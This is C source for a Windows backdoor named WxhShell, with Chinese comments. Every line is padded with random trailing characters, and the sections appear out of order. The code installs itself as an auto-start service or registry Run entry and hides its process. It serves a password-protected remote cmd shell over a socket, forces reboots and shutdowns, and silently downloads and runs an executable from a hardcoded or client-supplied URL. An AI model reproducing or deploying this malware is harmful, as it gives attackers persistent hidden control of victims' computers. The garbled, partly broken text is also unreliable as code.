    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :M |<c9I  
    else { qZcRK9l]F1  
    closesocket(wsh); mfI>1W(  
    ExitThread(0); [ITtg?]F  
    } $?e_ l  
    break; q#mw#Uw-  
    } ^e 1Ux  
  // 获取shell L PDx3MS  
  case 's': {  3g#  
    CmdShell(wsh); ,f]GOH  
    closesocket(wsh); =MsQ=:ZV  
    ExitThread(0); _UqE -+&  
    break; 9k`}fk\M  
  } `F^~*FnR,B  
  // 退出 Q8~|0X\.g  
  case 'x': { 9CxFj)#5F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L2L=~/LG  
    CloseIt(wsh); RTJ\|#w  
    break; 9Sy|:J0  
    } -fB;pS,  
  // 离开 a9"1a'  
  case 'q': { >,&@j,?']  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?q %&"  
    closesocket(wsh); GjfPba4>  
    WSACleanup(); =u.jZ*u]WT  
    exit(1); z :q9~  
    break; GgNqci,  
        } p /x ]  
  } y;r{0lTB  
  } s[}4Q|s%  
{wNNp't7  
  // 提示信息 wt(Hk6/B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `/4 R$E{  
} 3R=R k  
  } .C=I~Z  
A'=,q  
  return; T0Kjnzs  
} 1>pFUf|cV  
@N%/v*  
// shell模块句柄 b;K]; o-/f  
int CmdShell(SOCKET sock) ;GjZvo  
{ ylo/]pVs  
STARTUPINFO si; R'Uw17I  
ZeroMemory(&si,sizeof(si)); Ne=o+ $.(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z5k9|.hgw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Gr^#`  
PROCESS_INFORMATION ProcessInfo; 5x} XiMM  
char cmdline[]="cmd"; ;G=:>m~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {=q$k=ib  
  return 0; 'cpO"d?{  
} ]5_6m;g  
"+@>!U  
// 自身启动模式 e+? -#  
int StartFromService(void) D#pZN,'  
{ (0c L! N;;  
typedef struct 1vG]-T3VC  
{ =/6rX"\P  
  DWORD ExitStatus; nbhzLUK  
  DWORD PebBaseAddress; )dMXn2O  
  DWORD AffinityMask; wBbJ \  
  DWORD BasePriority; rF*L@HI  
  ULONG UniqueProcessId; D |lm,  
  ULONG InheritedFromUniqueProcessId; S7A[HG;  
}   PROCESS_BASIC_INFORMATION; M*xt9'Yd  
pVGH)6P>|  
PROCNTQSIP NtQueryInformationProcess; ER)<Twj  
P_Bhec|#fT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IdzrQP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <.N33 7!  
Y2B ",v"  
  HANDLE             hProcess; v)VhR2d3  
  PROCESS_BASIC_INFORMATION pbi; </%n:<z4  
!K~L&.\T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j_I  
  if(NULL == hInst ) return 0; @|1/yQgi  
* I{)8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :/1/i&a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m K);NvJ!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <jnra4>  
Y unY'xY  
  if (!NtQueryInformationProcess) return 0; Bv)4YU  
bktw?{h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [HV9KAoA  
  if(!hProcess) return 0; S(b5Gj/Kd  
(ru9Ke%Dx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5ZPe=SQ{  
,Z"l3~0\  
  CloseHandle(hProcess); }"{NW!RfP  
ti)4J2c,8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .).*6{_  
if(hProcess==NULL) return 0; 3XeCaq'N  
h>l  
HMODULE hMod; A)X 'We  
char procName[255];  1aAYBV<3  
unsigned long cbNeeded; KT5"/fv  
QCI-YJ&o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d_5wMK6O6  
ke(LjRS  
  CloseHandle(hProcess); 05+uBwH  
/^ d!$v  
if(strstr(procName,"services")) return 1; // 以服务启动 _DAAD,'<a  
f17pwJ~=  
  return 0; // 注册表启动 %mda=%Yn  
} cE*Gd^  
<( 0TK5  
// 主模块 Q\>Kd N{  
int StartWxhshell(LPSTR lpCmdLine) b ~Qd9 Nf  
{ u.}z}'-  
  SOCKET wsl; )eFq0+6*)  
BOOL val=TRUE; 8-HMKD#V  
  int port=0; TT(d CHft  
  struct sockaddr_in door; );$L#XpB  
7@.UkBOx  
  if(wscfg.ws_autoins) Install(); )32BM+f"77  
C?FUc cI  
port=atoi(lpCmdLine); #eqy!QdePf  
!50Fue^JM  
if(port<=0) port=wscfg.ws_port; r[:)-`]b  
.<|7BHL  
  WSADATA data; +^c;4-X 0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >F zu]G4]  
!J}Bv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xeg g2.Kk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;UU+:~  
  door.sin_family = AF_INET; ak?XE4-N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /lQGFLZL  
  door.sin_port = htons(port); ~PT( /L  
PZQb.QAn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZQHANr= 6  
closesocket(wsl); ]JeA29   
return 1; lW,rzJ1  
} Y%UfwbX!g  
<B;l).[6  
  if(listen(wsl,2) == INVALID_SOCKET) { -Kj^ l3w  
closesocket(wsl); o)P'H"Ki  
return 1; Ld[zOx  
} G<C[A  
  Wxhshell(wsl); zY<=r.m4  
  WSACleanup(); _u^ S[  
R4<}kA,.  
return 0; Q0f7gY1-%  
i/nA(%_  
} /++CwRz@Gm  
m<>3GF,5bP  
// 以NT服务方式启动 z?HP%g'M~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K.cMuh  
{ C@` eYi  
DWORD   status = 0; .17WF\1HC.  
  DWORD   specificError = 0xfffffff; [YY[E 7  
'aQ"&GX@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I3QK~ V*j)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :,$:@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a%"My;8  
  serviceStatus.dwWin32ExitCode     = 0; )+c4n]  
  serviceStatus.dwServiceSpecificExitCode = 0; !HM|~G7  
  serviceStatus.dwCheckPoint       = 0; 48CLnyYiF  
  serviceStatus.dwWaitHint       = 0; oagxTFh8~  
PsTPGK#S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >&mlwxqv  
  if (hServiceStatusHandle==0) return; vgSs]g  
R9o3T)9V  
status = GetLastError(); jN:!V t  
  if (status!=NO_ERROR) 7@u0;5p|  
{ |?n=~21"1O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P8DY*B k  
    serviceStatus.dwCheckPoint       = 0; 5|!x0H;  
    serviceStatus.dwWaitHint       = 0; rxu 6 #v F  
    serviceStatus.dwWin32ExitCode     = status; a;J{'PHu  
    serviceStatus.dwServiceSpecificExitCode = specificError; i $H aE)qZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6R V]9  
    return; ^GG6%=g'  
  } Hxft~*  
77- Jx`C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sw{,l"]<  
  serviceStatus.dwCheckPoint       = 0; 76a+|TzR  
  serviceStatus.dwWaitHint       = 0; vr<6j/ty  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {yQeLION  
} %"~\Pu*>  
N!>Gg|@~  
// 处理NT服务事件,比如:启动、停止 F23/|q{{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T_bk%  
{ kVk^?F  
switch(fdwControl) 5K13    
{ 8Czy<}S<G  
case SERVICE_CONTROL_STOP: gNJ,Bj Pd  
  serviceStatus.dwWin32ExitCode = 0; jA R@?X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hc}d S$=C  
  serviceStatus.dwCheckPoint   = 0; vh3Xd\N  
  serviceStatus.dwWaitHint     = 0; W!pLk/|ls  
  { 0UeDM*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l\7NR  
  } B RF=TL5Z  
  return; Xxcv 5.ug  
case SERVICE_CONTROL_PAUSE: `f`\j -Lu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !4cR&@[  
  break; WJBi#(SY  
case SERVICE_CONTROL_CONTINUE: [uP_F,Y/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xg %EQ  
  break; XYIZ^_My  
case SERVICE_CONTROL_INTERROGATE: sJ)XoK syW  
  break; RWtD81(oC'  
}; l`8S1~j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \tTZ N  
} =,&PD(.  
R'f|1mt  
// 标准应用程序主函数 1lZl10M:f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iEr Y2~?  
{ %7 h _D  
_#xS1sD  
// 获取操作系统版本 <wUDcF  
OsIsNt=GetOsVer(); l<qK' P4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cmF&1o3_  
kx8\]'  
  // 从命令行安装 (3YCe{  
  if(strpbrk(lpCmdLine,"iI")) Install(); T6MlKcw,t  
pMM,ox"  
  // 下载执行文件 FOiwB^$ >  
if(wscfg.ws_downexe) { W|J8QNL?jm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :4s{?IY)l  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?.E6Ube  
} (&R /ns~  
ei)ljvvmHP  
if(!OsIsNt) { j*@^O`^v  
// 如果时win9x,隐藏进程并且设置为注册表启动 t%Hg8oya  
HideProc(); xayo{l=uGv  
StartWxhshell(lpCmdLine); wJM})O%SQ  
} TUoEk  
else 1o\P7P Le  
  if(StartFromService()) asqbLtQ  
  // 以服务方式启动 _4F(WCco  
  StartServiceCtrlDispatcher(DispatchTable); wYy=Tl-N  
else oLK-~[p  
  // 普通方式启动  (`PgvBL:  
  StartWxhshell(lpCmdLine); D@ut -J(.  
eS(\E0%QI  
return 0; h^R EBPe  
} %D_2;  
mUY+v>F  
^6j: lL  
S0( ).2#  
=========================================== $qG;^1$  
!_CBf#0  
3Ob"R%Yo  
vI3L <[W  
i"mN0%   
i[1K~yXq:  
" QcJ?1GwA"  
=.`(KXT  
#include <stdio.h> .lnyn|MVb  
#include <string.h> S]&f+g}&w  
#include <windows.h> :VpRpj4f  
#include <winsock2.h> o1<Y#db[  
#include <winsvc.h> 4ti\;55{W  
#include <urlmon.h> X!Ag7^E  
P{j2'gg3  
#pragma comment (lib, "Ws2_32.lib") g&eIfm  
#pragma comment (lib, "urlmon.lib") i]&C=X  
! J`>;&  
#define MAX_USER   100 // 最大客户端连接数 &nkYJi(!  
#define BUF_SOCK   200 // sock buffer Hhx"47:  
#define KEY_BUFF   255 // 输入 buffer dbM~41C6  
J'c]':U  
#define REBOOT     0   // 重启 ZXV_Dc   
#define SHUTDOWN   1   // 关机 5{nERKaPf  
|#9Nu9ak  
#define DEF_PORT   5000 // 监听端口 C(-wA  
r >bMx~a]  
#define REG_LEN     16   // 注册表键长度 {I'8+~|pZL  
#define SVC_LEN     80   // NT服务名长度 BSt^QH-'  
}jHS  
// 从dll定义API MH@=Qqx#=t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <,!8xp7,~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r4&g~+ck  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pu#h:nb>88  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | a001_Wv  
50r3Kl0  
// wxhshell配置信息 vN#?>aL  
struct WSCFG { 0#1hkJ"  
  int ws_port;         // 监听端口 M)4-eo  
  char ws_passstr[REG_LEN]; // 口令 ~q]@Jp  
  int ws_autoins;       // 安装标记, 1=yes 0=no -]yM<dP  
  char ws_regname[REG_LEN]; // 注册表键名 8R?X$=$]!.  
  char ws_svcname[REG_LEN]; // 服务名 "Bl ]_YPv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;e,_F/@`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q.sErr[zc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tt5t(+5j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9e|-sn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SFhi]48&V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |@'/F#T  
 I/YBL  
}; 8@;|x2=y  
k1Z"Qmz  
// default Wxhshell configuration f_A'.oq+  
struct WSCFG wscfg={DEF_PORT, }AfX0[!O  
    "xuhuanlingzhe", qw^kA?  
    1, cGF_|1`  
    "Wxhshell", wEd+Ds]$  
    "Wxhshell", sG-$d\ 1d  
            "WxhShell Service", 8<V6W F`e  
    "Wrsky Windows CmdShell Service",  NGQBOV  
    "Please Input Your Password: ", Gy}WZ9{  
  1, 2to~=/.  
  "http://www.wrsky.com/wxhshell.exe", |2RoDW  
  "Wxhshell.exe" [+ ,%T;d;  
    }; : :;YS9e  
aumWU{j=  
// 消息定义模块 }%e"A4v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %f[0&)1!.v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B=dF\.&Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]b5E_/P  
char *msg_ws_ext="\n\rExit."; eCejO59F9  
char *msg_ws_end="\n\rQuit."; Cj{+DXT  
char *msg_ws_boot="\n\rReboot..."; p;8I@~dh  
char *msg_ws_poff="\n\rShutdown..."; d^uE4F}  
char *msg_ws_down="\n\rSave to "; ,Dh+-}  
O7<--  
char *msg_ws_err="\n\rErr!"; vG E;PwR  
char *msg_ws_ok="\n\rOK!"; r 0m A  
m~7[fgN2  
char ExeFile[MAX_PATH]; MU_8bK9m  
int nUser = 0; i'XW)n  
HANDLE handles[MAX_USER]; N RB>X  
int OsIsNt; _8zZ.~)  
T}fH  
SERVICE_STATUS       serviceStatus; Nf@-i`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dKk\"6 o  
+]?/c>M  
// 函数声明 wWq(|"  
int Install(void); jLc"1+  
int Uninstall(void); &Bn> YFu  
int DownloadFile(char *sURL, SOCKET wsh); + t%[$"$  
int Boot(int flag); @34Z/%A  
void HideProc(void); !+bLh W`  
int GetOsVer(void); m .:2G  
int Wxhshell(SOCKET wsl); h\qQ%|X  
void TalkWithClient(void *cs); Cu2eMUGt  
int CmdShell(SOCKET sock); Y9}5&#  
int StartFromService(void); ~vL7$-:  
int StartWxhshell(LPSTR lpCmdLine); ^wnlZ09J  
%w9/ gD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z"ce1cB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k[_)5@2  
vI84= n  
// 数据结构和表定义 W~" 'a9H/  
SERVICE_TABLE_ENTRY DispatchTable[] = gteG*pi  
{ 8]G  
{wscfg.ws_svcname, NTServiceMain}, U2hPsF4f  
{NULL, NULL} #:q$sKQ_$  
}; FJI%+$]  
_ aJo7  
// 自我安装 ,=Q;@Z4 vJ  
int Install(void) /R/\>'{E&c  
{ $*k(h|XfwW  
  char svExeFile[MAX_PATH]; Kivr)cIG  
  HKEY key; %#AM }MWIa  
  strcpy(svExeFile,ExeFile); Ai*R%#  
^4G%*-   
// 如果是win9x系统,修改注册表设为自启动 +, IMN)?;z  
if(!OsIsNt) { *8I+D>x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6 b/UFO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); blVt:XS{,m  
  RegCloseKey(key); d17RJW%A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [quT&E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ! .q,m>?+  
  RegCloseKey(key); w(,K  
  return 0; 'R-Ly^:Qd  
    } UrC>n  
  } N}|<P[LW  
} g$^:2MT"aQ  
else { 1')_^]  
[ClDKswq  
// 如果是NT以上系统,安装为系统服务 2`Dqu"TWh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H$@5\pP>  
if (schSCManager!=0) \]:}lVtxS  
{ hXAgT!ZD  
  SC_HANDLE schService = CreateService "d5nVO/  
  ( k vu SE  
  schSCManager, pq T+lai)#  
  wscfg.ws_svcname, ]3KMFV}  
  wscfg.ws_svcdisp, hRU5CH/!  
  SERVICE_ALL_ACCESS, v47S9Vm+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V(6*wQ`&  
  SERVICE_AUTO_START, sxK|0i}6  
  SERVICE_ERROR_NORMAL, tyI !y~-z  
  svExeFile, $`a>y jma  
  NULL, >b1#dEY  
  NULL, a1 Kh  
  NULL, q HU}EEv  
  NULL, w=;Jj7}L  
  NULL %&Fsk]T%:  
  ); z+5ZUS2~&  
  if (schService!=0) `)aIFAW  
  { mm1fG4 *%  
  CloseServiceHandle(schService); H^d2|E[D  
  CloseServiceHandle(schSCManager); $n><p>`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qH=<8Iu  
  strcat(svExeFile,wscfg.ws_svcname); )01,3J>#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^ UDNp.6k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u4KP;_,m  
  RegCloseKey(key); ~K 2.T7=  
  return 0; !T|q/ri  
    } X]1Q# $b  
  } }Sx+:N*  
  CloseServiceHandle(schSCManager); Y[R;UJE`5  
} u3k{s  
} W"meH~[Cp  
G~+BO'U9'G  
return 1; xwJ. cy  
} `;c{E%qeq  
2=%R>&]*  
// 自我卸载 )IFFtU~,  
int Uninstall(void) au;ZAXM|  
{ (DnrJ.QU}t  
  HKEY key; VpO+52&  
! N!A%  
if(!OsIsNt) { j3Yz=bsQ{c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O{{\jn|lR  
  RegDeleteValue(key,wscfg.ws_regname); b%TLvV 9F  
  RegCloseKey(key); svWQk9d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %7wNS  
  RegDeleteValue(key,wscfg.ws_regname); 9j8<Fs0M  
  RegCloseKey(key); q}+Fm?B   
  return 0; =jWjUkm2  
  } 0|chRX  
} RG8Ek"D@  
} \' Z^rjB  
else { {Q(R#$)5+  
X~VJO|k pz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n# 4e1n+I  
if (schSCManager!=0) `Ei:Z%@7C  
{ - %'ys  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F8pP(Wl  
  if (schService!=0) .l:x!  
  { 45(n!"u65  
  if(DeleteService(schService)!=0) { +?%L X4Y  
  CloseServiceHandle(schService); cYx.<b JH  
  CloseServiceHandle(schSCManager); .kqH}{hf  
  return 0; N]|P||fC  
  } LD gGVl  
  CloseServiceHandle(schService); ) OE!vA  
  } ^V?W'~  
  CloseServiceHandle(schSCManager); 0K:3?Ik  
} JU`5K}H<  
} zqlgJn  
zf.&E3Sn  
return 1; + d289"  
} ,&ld:v?~  
rk)h_zN  
// 从指定url下载文件 -VafN   
int DownloadFile(char *sURL, SOCKET wsh) \(4kEB2s$  
{ #HyE-|_C  
  HRESULT hr; ;Ob`B@!=b  
char seps[]= "/"; qZB}}pM#  
char *token; grZ?F~P8  
char *file; Ch0t'  
char myURL[MAX_PATH]; gCP f1z  
char myFILE[MAX_PATH]; ZQN%!2  
"V>p  
strcpy(myURL,sURL); J5#shs[M:  
  token=strtok(myURL,seps); 7f_tH_(  
  while(token!=NULL) m IYM+2p  
  { (&@,ZI;  
    file=token; =;m;r!,K  
  token=strtok(NULL,seps); di|5|bn7  
  } Z~6PrM-M  
O!ngQrI  
GetCurrentDirectory(MAX_PATH,myFILE); S7kZpD $  
strcat(myFILE, "\\"); ;0JK>c ]#  
strcat(myFILE, file); d3&l!DoX  
  send(wsh,myFILE,strlen(myFILE),0); kNC]q,ljt5  
send(wsh,"...",3,0); aQ#6PO7.Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Q/_I@m].  
  if(hr==S_OK) EF5:$#  
return 0; X775j"<d  
else i"GCm`  
return 1; 9*CJWS;  
yr[HuwU  
} 3aERfIJyE  
C|g]Y 7  
// 系统电源模块 Jj'dg6QY'  
int Boot(int flag) jr3FDd]  
{ k3VRa|Y")  
  HANDLE hToken; t_NnQ4)=  
  TOKEN_PRIVILEGES tkp; vE$n0bL2  
>pj)va[Q  
  if(OsIsNt) { <F&53N&Zc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R.)w l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @lu` oyM  
    tkp.PrivilegeCount = 1; /=+Bc=<lZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~0T,_N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yu e#  
if(flag==REBOOT) { Sc,a jT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3c[< #] 8S  
  return 0; -,pw[R  
} ! +{$dB>a  
else { hNUkaP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2|:x_rcj  
  return 0; K['Gp>l  
} nmy!.0SQ-  
  } dA[S@ysvG  
  else { ]`T*}$|  
if(flag==REBOOT) { 5o2vj8::  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hw)#TEt   
  return 0; 'E_~>  
} p)YI8nW  
else { .u^4vVz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V}po  
  return 0; yd~}CF  
} P{[@t_  
} mgI7zJX  
_eg&j  
return 1; ;(0|2I'"  
} *^s^{0Ad  
&A)u!l Ue  
// win9x进程隐藏模块 )Bpvi4O  
void HideProc(void) ?8TIPz J  
{ OiJz?G:m  
f;cY&GC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c7f11N!v>b  
  if ( hKernel != NULL ) U#' WP  
  { 0;n}{26a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RDsBO4RG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HWOOw&^<  
    FreeLibrary(hKernel); x/,(G~  
  } Qm5Sf=E7Q  
1qN+AT  
return; bY!1t}ALh  
} DQyy">]Mh  
WLA LXJ7  
// 获取操作系统版本 u[+/WFH  
int GetOsVer(void) U "kD)\  
{ 'l&bg8K9  
  OSVERSIONINFO winfo; /;9iDjG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h-6zQs   
  GetVersionEx(&winfo); D{G~7P\.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zA%$l&QN]  
  return 1; "fZWAGDBO\  
  else `R@b`3*%v  
  return 0; aZB$%#'vR  
} 4>}qdR1L4  
dH_g:ocA  
// 客户端句柄模块 b5t:" >wC  
int Wxhshell(SOCKET wsl) MGfIA?u  
{ MVXy)9q  
  SOCKET wsh; Ew>lk9La(  
  struct sockaddr_in client; 0.lOSAq  
  DWORD myID; NhF<2[mt  
{/}p"(^  
  while(nUser<MAX_USER) ~LSD\+  
{ -EIfuh  
  int nSize=sizeof(client); Pt[ b;}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &)GlLpaT  
  if(wsh==INVALID_SOCKET) return 1; P)rz%,VF+  
_t.Ub:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M~LYq  
if(handles[nUser]==0) JLu>w:\  
  closesocket(wsh); Z<W`5sop^  
else o*Kl`3=]  
  nUser++; .XPPd?R  
  } c(r8 F[4w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zelM}/d  
;|AyP  
  return 0; B~7]x;8h  
} WeE1 \  
141XnAb)I  
// 关闭 socket st-I7K\v  
void CloseIt(SOCKET wsh) f\h|Z*Bv  
{ = @n`5g  
closesocket(wsh); 1,Ji|&Pwf  
nUser--; .j^=]3  
ExitThread(0); m 7/b.B}  
} t^SND{[WcM  
gQ=l\/ H  
// 客户端请求句柄 `~+[pY 1r  
void TalkWithClient(void *cs) ]5sU =\  
{ ]o2 Z 14  
W $EAo+V  
  SOCKET wsh=(SOCKET)cs; yR4++yk  
  char pwd[SVC_LEN]; _ a -At  
  char cmd[KEY_BUFF]; n2;Vrs,<1&  
char chr[1]; B(qwTz 51  
int i,j; yYn7y1B  
%w#8t#[,6  
  while (nUser < MAX_USER) { c'&\[b(m  
#B &%Y6E5  
if(wscfg.ws_passstr) { E0aJ~A(Hv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v%!'vhf_K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3&"+)*/ m  
  //ZeroMemory(pwd,KEY_BUFF); r(DW,xoK0  
      i=0; `PI?RU[g*  
  while(i<SVC_LEN) { f}uW(:f  
]Yx&  
  // 设置超时 BfdS3VrZ/  
  fd_set FdRead; Xn* >qm  
  struct timeval TimeOut; 8Y&_X0T|  
  FD_ZERO(&FdRead); 4M*!'sG\  
  FD_SET(wsh,&FdRead); =q?sB]n  
  TimeOut.tv_sec=8; zsmlXyP'e!  
  TimeOut.tv_usec=0; 1y7FvD~v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jzAXC^FS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -@?4Tfl  
.BrYz:#A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2 3*OuY  
  pwd=chr[0]; NkY7Hg0  
  if(chr[0]==0xd || chr[0]==0xa) { v/~Lfi  
  pwd=0; FN"Ye*d  
  break; #Z1 <lAy  
  } *rv7#!].  
  i++; MoMxKmI  
    } WI\jm&H r  
_8&a%?R@W  
  // 如果是非法用户,关闭 socket 9Je+|+s]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zx`(ojfu  
} I/Q~rVt  
xa$4P [  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B)=)@h[f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + 3c (CTz  
 RR[1mM  
while(1) { +~za6  
bo40s9"-*W  
  ZeroMemory(cmd,KEY_BUFF); %1z`/B  
;kR+jC(  
      // 自动支持客户端 telnet标准   pz,iQUs _o  
  j=0; ?C*}NM  
  while(j<KEY_BUFF) {  wjfc9z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VX]Ud\(  
  cmd[j]=chr[0]; B(,j*,f  
  if(chr[0]==0xa || chr[0]==0xd) { RLR\*dL1  
  cmd[j]=0; !T RU  
  break; y[d>7fcf  
  } KkyZd9  
  j++; 'QQa :3<x  
    } WWN2  
l?:S)[:  
  // 下载文件 s>ohXISB[  
  if(strstr(cmd,"http://")) { (\M+E tU<9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HL~DIC%  
  if(DownloadFile(cmd,wsh)) eoxEnCU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~w"e 2a  
  else +r$M 9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h_\OtoRa  
  } W #V`|JA  
  else { kWbD?i-  
)W |_f  
    switch(cmd[0]) { _FP'SVa}D  
  Eu`K2_b  
  // 帮助 lc\%7-%:5  
  case '?': { h1Logm+m  
